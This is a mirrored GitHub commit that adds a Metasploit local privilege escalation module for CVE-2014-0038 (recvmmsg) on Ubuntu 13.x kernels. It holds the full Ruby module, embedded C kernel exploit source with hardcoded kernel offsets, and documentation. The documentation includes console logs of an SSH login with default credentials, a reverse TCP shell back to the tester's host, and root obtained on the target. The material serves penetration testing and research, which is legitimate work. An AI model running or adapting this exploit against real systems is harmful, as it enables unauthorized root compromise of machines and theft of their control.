1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-11-05 14:57:30 +01:00

working cve-2014-0038

This commit is contained in:
h00die 2016-10-08 23:58:09 -04:00
parent 1b06e6279b
commit 2dfebe586e
3 changed files with 487 additions and 0 deletions

Binary file not shown.

View File

@ -0,0 +1,133 @@
## Creating A Testing Environment
This module works against Ubuntu 13.04, and 13.10. As of writing this, those releases are at EOL (end of life). If you wish to install `gcc` or other command, you'll need to fix your `/etc/sources.list` to
point to the correct repos.
`sudo sed -i -re 's/([a-z]{2}\.)?archive.ubuntu.com|security.ubuntu.com/old-releases.ubuntu.com/g' /etc/apt/sources.list` [source](http://askubuntu.com/questions/91815/how-to-install-software-or-upgrade-from-an-old-unsupported-release)
This module has been tested against:
1. Ubuntu 13.04 (default kernel) 3.8.0-19-generic
This module should also work against:
1. Ubuntu 13.10 (default kernel) 3.11.0-12-generic
2. Ubuntu 13.10 3.11.0-15-generic
More kernels could be added to this, just need the proper offsets.
## Verification Steps
1. Start msfconsole
2. Exploit a box via whatever method
4. Do: `use exploit/linux/local/recvmmsg_priv_esc`
5. Do: `set session #`
6. Do: `set verbose true`
7. Do: `exploit`
## Options
**COMPILE**
If we should attempt to compile live on the system, or drop a binary. Default is `auto` which will compile if `gcc` is installed.
**WritableDir**
A folder we can write files to. Defaults to /tmp
## Scenarios
### Ubuntu 13.04 (with default kernel: 3.8.0-19-generic)
#### Initial Access
[*] Processing recvmmsg.rc for ERB directives.
resource (recvmmsg.rc)> use auxiliary/scanner/ssh/ssh_login
resource (recvmmsg.rc)> set rhosts 192.168.2.20
rhosts => 192.168.2.20
resource (recvmmsg.rc)> set username ubuntu
username => ubuntu
resource (recvmmsg.rc)> set password ubuntu
password => ubuntu
resource (recvmmsg.rc)> exploit
[*] SSH - Starting bruteforce
[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),111(lpadmin),112(sambashare) Linux ubuntu1304 3.8.0-19-generic #29-Ubuntu SMP Wed Apr 17 18:16:28 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.2.117:39613 -> 192.168.2.20:22) at 2016-10-08 23:19:48 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
#### Escalate
resource (recvmmsg.rc)> use exploit/linux/local/recvmmsg_priv_esc
resource (recvmmsg.rc)> set verbose true
verbose => true
resource (recvmmsg.rc)> set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
resource (recvmmsg.rc)> set session 1
session => 1
resource (recvmmsg.rc)> set lhost 192.168.2.117
lhost => 192.168.2.117
resource (recvmmsg.rc)> exploit
[*] Started reverse TCP handler on 192.168.2.117:4444
[+] Kernel 3.8.0.pre.19.pre.generic is exploitable
[+] gcc is installed
[*] Live compiling exploit on system
[+] Kernel 3.8.0.pre.19.pre.generic is exploitable
[*] Writing to /tmp/4bUIkbrG.c (5950 bytes)
[*] Max line length is 65537
[*] Writing 5950 bytes in 1 chunks of 20667 bytes (octal-encoded), using printf
[*] Compiling /tmp/4bUIkbrG.c
[*] Writing to /tmp/a0RwAacU (185 bytes)
[*] Max line length is 65537
[*] Writing 185 bytes in 1 chunks of 560 bytes (octal-encoded), using printf
[*] Exploiting... May take 17min. Start time: 2016-10-08 23:20:00 -0400
[*] Sending stage (36 bytes) to 192.168.2.20
[*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.20:38465) at 2016-10-08 23:32:49 -0400
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux ubuntu1304 3.8.0-19-generic #29-Ubuntu SMP Wed Apr 17 18:16:28 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
### Using pre-compiled binaries on the same system
resource (recvmmsg.rc)> use exploit/linux/local/recvmmsg_priv_esc
resource (recvmmsg.rc)> set verbose true
verbose => true
resource (recvmmsg.rc)> set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
resource (recvmmsg.rc)> set session 1
session => 1
resource (recvmmsg.rc)> set lhost 192.168.2.117
lhost => 192.168.2.117
resource (recvmmsg.rc)> exploit
[*] Started reverse TCP handler on 192.168.2.117:4444
[+] Kernel 3.8.0.pre.19.pre.generic is exploitable
[-] gcc is not installed. Compiling will fail.
[*] Dropping pre-compiled exploit on system
[+] Kernel 3.8.0.pre.19.pre.generic is exploitable
[*] Writing to /tmp/Yc0xB9oC (14571 bytes)
[*] Max line length is 65537
[*] Writing 14571 bytes in 1 chunks of 38575 bytes (octal-encoded), using printf
[*] Writing to /tmp/a0RwAacU (185 bytes)
[*] Max line length is 65537
[*] Writing 185 bytes in 1 chunks of 560 bytes (octal-encoded), using printf
[*] Exploiting... May take 17min. Start time: 2016-10-08 23:42:01 -0400
[*] Sending stage (36 bytes) to 192.168.2.20
[*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.20:38465) at 2016-10-08 23:54:50 -0400
[+] Deleted /tmp/Yc0xB9oC
[+] Deleted /tmp/a0RwAacU
2689016405
carERUCEUgdCZfvTyiWuBklsNMqcNhey
true
dPZDicgefmDeBvIpRYKaToiSQmHWQxBe
yGWMZKlCTQskKCZERIXNchDARUIzzBJn
FjFxyOSVHntGpawbQfSzIdRPsbeyOgSq
true
HFPuJArQoYvuxhkoWbAwvdDbNVUjSdUL
vMvWNASOZcfTmStOGnozdJzfTAUWJYzU
VQUKZqzBlQaQJmbtyQSSNudDtINToRhu
whoami
root

View File

@ -0,0 +1,354 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require "msf/core"
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Linux Kernel 3.13.1 Recvmmsg Privilege Escalation',
'Description' => %q{
This module attempts to exploit CVE-2014-0038, by sending a recvmmsg
system call with a crafted timeout pointer parameter to gain root.
This exploit has offsets for 3 Ubuntu 13 kernels built in:
3.8.0-19-generic (13.04 default)
3.11.0-12-generic (13.10 default)
3.11.0-15-generic (13.10)
This exploit may take up to 13 minutes to run due to a decrementing (1/sec)
pointer which starts at 0xff*3 (765 seconds)
},
'License' => MSF_LICENSE,
'Author' =>
[
'h00die <mike@shorebreaksecurity.com>', # Module
'rebel' # Discovery
],
'DisclosureDate' => 'Feb 2 2014',
'Platform' => [ 'linux'],
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' =>
[
[ 'Auto', { } ]
],
'DefaultTarget' => 0,
'DefaultOptions' => { 'WfsDelay' => 780, 'PrependFork' => true, },
'References' =>
[
[ 'EDB', '31347'],
[ 'EDB', '31346'],
[ 'CVE', '2014-0038'],
[ 'URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1453900']
]
))
register_options(
[
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
], self.class)
end
def check
def kernel_vuln?()
os_id = cmd_exec('grep ^ID= /etc/os-release')
if os_id == 'ID=ubuntu'
kernel = Gem::Version.new(cmd_exec('/bin/uname -r'))
case kernel.release.to_s
when '3.11.0'
if kernel == Gem::Version.new('3.11.0-15-generic') || kernel == Gem::Version.new('3.11.0-12-generic')
vprint_good("Kernel #{kernel} is exploitable")
return true
else
print_error("Kernel #{kernel} is NOT vulnerable or NOT exploitable")
return false
end
when '3.8.0'
if kernel == Gem::Version.new('3.8.0-19-generic')
vprint_good("Kernel #{kernel} is exploitable")
return true
else
print_error("Kernel #{kernel} is NOT vulnerable or NOT exploitable")
return false
end
else
print_error("Non-vuln kernel #{kernel}")
return false
end
else
print_error("Unknown OS: #{os_id}")
return false
end
end
if kernel_vuln?()
return CheckCode::Appears
else
return CheckCode::Safe
end
end
def exploit
if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
end
# direct copy of code from exploit-db. I removed a lot of the comments in the title area just to cut down on size
recvmmsg = %q{
/*
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y)
CVE-2014-0038 / x32 ABI with recvmmsg
by rebel @ irc.smashthestack.org
-----------------------------------
*/
#define _GNU_SOURCE
#include <netinet/ip.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/utsname.h>
#define __X32_SYSCALL_BIT 0x40000000
#undef __NR_recvmmsg
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
#define VLEN 1
#define BUFSIZE 200
int port;
struct offset {
char *kernel_version;
unsigned long dest; // net_sysctl_root + 96
unsigned long original_value; // net_ctl_permissions
unsigned long prepare_kernel_cred;
unsigned long commit_creds;
};
struct offset offsets[] = {
{"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10
{"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10
{"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04
{NULL,0,0,0,0}
};
void udp(int b) {
int sockfd;
struct sockaddr_in servaddr,cliaddr;
int s = 0xff+1;
if(fork() == 0) {
while(s > 0) {
fprintf(stderr,"\rbyte %d / 3.. ~%d secs left \b\b\b\b",b+1,3*0xff - b*0xff - (0xff+1-s));
sleep(1);
s--;
fprintf(stderr,".");
}
sockfd = socket(AF_INET,SOCK_DGRAM,0);
bzero(&servaddr,sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
servaddr.sin_port=htons(port);
sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr));
exit(0);
}
}
void trigger() {
open("/proc/sys/net/core/somaxconn",O_RDONLY);
if(getuid() != 0) {
fprintf(stderr,"not root, ya blew it!\n");
exit(-1);
}
fprintf(stderr,"w00p w00p!\n");
system("/bin/sh -i");
}
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
// thx bliss
static int __attribute__((regparm(3)))
getroot(void *head, void * table)
{
commit_creds(prepare_kernel_cred(0));
return -1;
}
void __attribute__((regparm(3)))
trampoline()
{
asm("mov $getroot, %rax; call *%rax;");
}
int main(void)
{
int sockfd, retval, i;
struct sockaddr_in sa;
struct mmsghdr msgs[VLEN];
struct iovec iovecs[VLEN];
char buf[BUFSIZE];
long mmapped;
struct utsname u;
struct offset *off = NULL;
uname(&u);
for(i=0;offsets[i].kernel_version != NULL;i++) {
if(!strcmp(offsets[i].kernel_version,u.release)) {
off = &offsets[i];
break;
}
}
if(!off) {
fprintf(stderr,"no offsets for this kernel version..\n");
exit(-1);
}
mmapped = (off->original_value & ~(sysconf(_SC_PAGE_SIZE) - 1));
mmapped &= 0x000000ffffffffff;
srand(time(NULL));
port = (rand() % 30000)+1500;
commit_creds = (_commit_creds)off->commit_creds;
prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred;
mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
if(mmapped == -1) {
perror("mmap()");
exit(-1);
}
memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3);
memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300);
if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) {
perror("mprotect()");
exit(-1);
}
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if (sockfd == -1) {
perror("socket()");
exit(-1);
}
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
sa.sin_port = htons(port);
if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
perror("bind()");
exit(-1);
}
memset(msgs, 0, sizeof(msgs));
iovecs[0].iov_base = &buf;
iovecs[0].iov_len = BUFSIZE;
msgs[0].msg_hdr.msg_iov = &iovecs[0];
msgs[0].msg_hdr.msg_iovlen = 1;
for(i=0;i < 3 ;i++) {
udp(i);
retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i);
if(!retval) {
fprintf(stderr,"\nrecvmmsg() failed\n");
}
}
close(sockfd);
fprintf(stderr,"\n");
trigger();
}
}
filename = rand_text_alphanumeric(8)
executable_path = "#{datastore['WritableDir']}/#{filename}"
payloadname = rand_text_alphanumeric(8)
payload_path = "#{datastore['WritableDir']}/#{payloadname}"
def has_prereqs?()
gcc = cmd_exec('which gcc')
if gcc.include?('gcc')
vprint_good('gcc is installed')
else
print_error('gcc is not installed. Compiling will fail.')
end
return gcc.include?('gcc')
end
compile = false
if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
if has_prereqs?()
compile = true
vprint_status('Live compiling exploit on system')
else
vprint_status('Dropping pre-compiled exploit on system')
end
end
if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
end
def upload_and_chmod(fname,fcontent)
print_status "Writing to #{fname} (#{fcontent.size} bytes)"
rm_f fname
write_file(fname, fcontent)
cmd_exec("chmod +x #{fname}")
register_file_for_cleanup(fname)
end
if compile
recvmmsg.gsub!(/system\("\/bin\/sh -i"\);/,
"system(\"#{payload_path}\");")
upload_and_chmod("#{executable_path}.c", recvmmsg)
vprint_status("Compiling #{executable_path}.c")
cmd_exec("gcc -o #{executable_path} #{executable_path}.c") #compile
register_file_for_cleanup(executable_path)
else
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2014-0038', 'recvmmsg')
fd = ::File.open( path, "rb")
recvmmsg = fd.read(fd.stat.size)
fd.close
upload_and_chmod(executable_path, recvmmsg)
# overwrite with the hardcoded variable names in the compiled versions
payload_filename = 'a0RwAacU'
payload_path = "/tmp/#{payload_filename}"
end
upload_and_chmod(payload_path, generate_payload_exe)
stime = Time.now
vprint_status("Exploiting... May take 17min. Start time: #{stime}")
output = cmd_exec(executable_path)
output.each_line { |line| vprint_status(line.chomp) }
end
end